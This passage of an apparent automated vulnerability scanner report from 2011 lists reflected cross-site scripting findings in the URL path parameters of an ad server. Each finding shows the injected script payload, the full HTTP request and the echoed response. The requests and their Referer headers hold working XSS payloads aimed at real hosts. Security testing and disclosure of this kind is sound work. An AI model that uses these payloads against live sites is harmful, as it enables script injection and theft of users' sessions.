Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e2845525d5f4f58455e445a4a423660;path=/

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/RocketFuelB3/FarmersBranding49a73"><script>alert(1)</script>613ad088b59/2011Q1/BTRT1/728/1759311885/x90/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top">
...[SNIP]...

1.72. http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8482"><script>alert(1)</script>bb2b30cb153 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/RocketFuelB3/FarmersBranding/2011Q1e8482"><script>alert(1)</script>bb2b30cb153/BTRT1/728/11297259897490@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre2599322834474&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; Dominos=DataXuB3; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011Pi748U102PB|S106w2|U10C7a|U10CEj; ATTWL=CollectiveB3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:26 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 365
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e2045525d5f4f58455e445a4a423660;path=/

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/RocketFuelB3/FarmersBranding/2011Q1e8482"><script>alert(1)</script>bb2b30cb153/BTRT1/728/2062777249/x90/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top">
...[SNIP]...

1.73. http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 266d4"><script>alert(1)</script>03f7cc0c04f was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1266d4"><script>alert(1)</script>03f7cc0c04f/728/11297259897490@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre2599322834474&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; Dominos=DataXuB3; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011Pi748U102PB|S106w2|U10C7a|U10CEj; ATTWL=CollectiveB3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:29 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 364
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e5145525d5f4f58455e445a4a423660;path=/

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/RocketFuelB3/FarmersBranding/2011Q1/BTRT1266d4"><script>alert(1)</script>03f7cc0c04f/728/496007092/x90/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top">
...[SNIP]...

1.74. http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90 [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c950c"><script>alert(1)</script>3ee1ce96ffb was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728c950c"><script>alert(1)</script>3ee1ce96ffb/11297259897490@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre2599322834474&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; Dominos=DataXuB3; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011Pi748U102PB|S106w2|U10C7a|U10CEj; ATTWL=CollectiveB3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:31 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 365
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e3e45525d5f4f58455e445a4a423660;path=/

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728c950c"><script>alert(1)</script>3ee1ce96ffb/1687534056/x90/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top">
...[SNIP]...

1.75. http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90 [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45e55"><script>alert(1)</script>e0df0920427 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x9045e55"><script>alert(1)</script>e0df0920427 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre2599322834474&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; Dominos=DataXuB3; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011Pi748U102PB|S106w2|U10C7a|U10CEj; ATTWL=CollectiveB3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:33 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 357
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e5045525d5f4f58455e445a4a423660;path=/

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/1988655677/x9045e55"><script>alert(1)</script>e0df0920427/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top">
...[SNIP]...

1.76. http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2866"><script>alert(1)</script>35771b99b3b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/RocketFuelB3b2866"><script>alert(1)</script>35771b99b3b/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre259932283447419cb2'%3E%3Cscript%3Ealert(1)%3C/script%3E9b01dc2c9cc&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; Dominos=DataXuB3; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; ATTWL=CollectiveB3; FarmersBranding=RocketFuelB3; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; other_20110126=set; dlx_XXX=set; dlx_20100929=set; NSC_o4efm_qppm_iuuq=ffffffff09419e3e45525d5f4f58455e445a4a423660; session=1297259893|1297260360

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 14:30:16 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 363
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/RocketFuelB3b2866"><script>alert(1)</script>35771b99b3b/FarmersBranding/2011Q1/BTRT1/728/77016977/x90/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top">
...[SNIP]...

1.77. http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9fbe2"><script>alert(1)</script>3f1bfa77c87 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/RocketFuelB3/FarmersBranding9fbe2"><script>alert(1)</script>3f1bfa77c87/2011Q1/BTRT1/728/11297259930614@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre259932283447419cb2'%3E%3Cscript%3Ealert(1)%3C/script%3E9b01dc2c9cc&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; Dominos=DataXuB3; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; ATTWL=CollectiveB3; FarmersBranding=RocketFuelB3; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; other_20110126=set; dlx_XXX=set; dlx_20100929=set; NSC_o4efm_qppm_iuuq=ffffffff09419e3e45525d5f4f58455e445a4a423660; session=1297259893|1297260360

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 14:30:18 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 365
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/RocketFuelB3/FarmersBranding9fbe2"><script>alert(1)</script>3f1bfa77c87/2011Q1/BTRT1/728/1096239429/x90/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top">
...[SNIP]...

1.78. http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 732ad"><script>alert(1)</script>dbf52c5f68 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/RocketFuelB3/FarmersBranding/2011Q1732ad"><script>alert(1)</script>dbf52c5f68/BTRT1/728/11297259930614@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre259932283447419cb2'%3E%3Cscript%3Ealert(1)%3C/script%3E9b01dc2c9cc&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; Dominos=DataXuB3; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; ATTWL=CollectiveB3; FarmersBranding=RocketFuelB3; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; other_20110126=set; dlx_XXX=set; dlx_20100929=set; NSC_o4efm_qppm_iuuq=ffffffff09419e3e45525d5f4f58455e445a4a423660; session=1297259893|1297260360

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 14:30:20 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 363
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/RocketFuelB3/FarmersBranding/2011Q1732ad"><script>alert(1)</script>dbf52c5f68/BTRT1/728/326445065/x90/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top">
...[SNIP]...

1.79. http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99f4d"><script>alert(1)</script>b561cc16413 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/RocketFuelB3/FarmersBranding/2011Q1/BTRT199f4d"><script>alert(1)</script>b561cc16413/728/11297259930614@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre259932283447419cb2'%3E%3Cscript%3Ealert(1)%3C/script%3E9b01dc2c9cc&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; Dominos=DataXuB3; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; ATTWL=CollectiveB3; FarmersBranding=RocketFuelB3; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; other_20110126=set; dlx_XXX=set; dlx_20100929=set; NSC_o4efm_qppm_iuuq=ffffffff09419e3e45525d5f4f58455e445a4a423660; session=1297259893|1297260360

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 14:30:22 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 363
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/RocketFuelB3/FarmersBranding/2011Q1/BTRT199f4d"><script>alert(1)</script>b561cc16413/728/98466057/x90/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top">
...[SNIP]...

1.80. http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90 [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf0eb"><script>alert(1)</script>ba41c20be5c was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728cf0eb"><script>alert(1)</script>ba41c20be5c/11297259930614@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre259932283447419cb2'%3E%3Cscript%3Ealert(1)%3C/script%3E9b01dc2c9cc&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; Dominos=DataXuB3; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; ATTWL=CollectiveB3; FarmersBranding=RocketFuelB3; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; other_20110126=set; dlx_XXX=set; dlx_20100929=set; NSC_o4efm_qppm_iuuq=ffffffff09419e3e45525d5f4f58455e445a4a423660; session=1297259893|1297260360

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 14:30:24 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 364
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728cf0eb"><script>alert(1)</script>ba41c20be5c/970169256/x90/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top">
...[SNIP]...

1.81. http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90 [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a209"><script>alert(1)</script>60585c96bd7 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x901a209"><script>alert(1)</script>60585c96bd7 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://a.rfihub.com/sed?w=728&h=90&re=19969&pv=0&ra=2599322840.14364759088493884&rb=445&ca=&rc=10.1&rd=&ua=&ub=&uc=&ud=&ue=&pa=ppre259932283447419cb2'%3E%3Cscript%3Ealert(1)%3C/script%3E9b01dc2c9cc&pb=&pc=&pd=&pg=&ct=1297259932284&pe=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1&pf=http%3A%2F%2Fblog.csdn.net%2Fjiji262%2Farchive%2F2007%2F07%2F28%2F1713771.aspx%3F3541f'style%253d'x%253aexpression(alert(1))'7b381ee316b%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; Dominos=DataXuB3; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; ATTWL=CollectiveB3; FarmersBranding=RocketFuelB3; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; other_20110126=set; dlx_XXX=set; dlx_20100929=set; NSC_o4efm_qppm_iuuq=ffffffff09419e3e45525d5f4f58455e445a4a423660; session=1297259893|1297260360

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 14:30:28 GMT
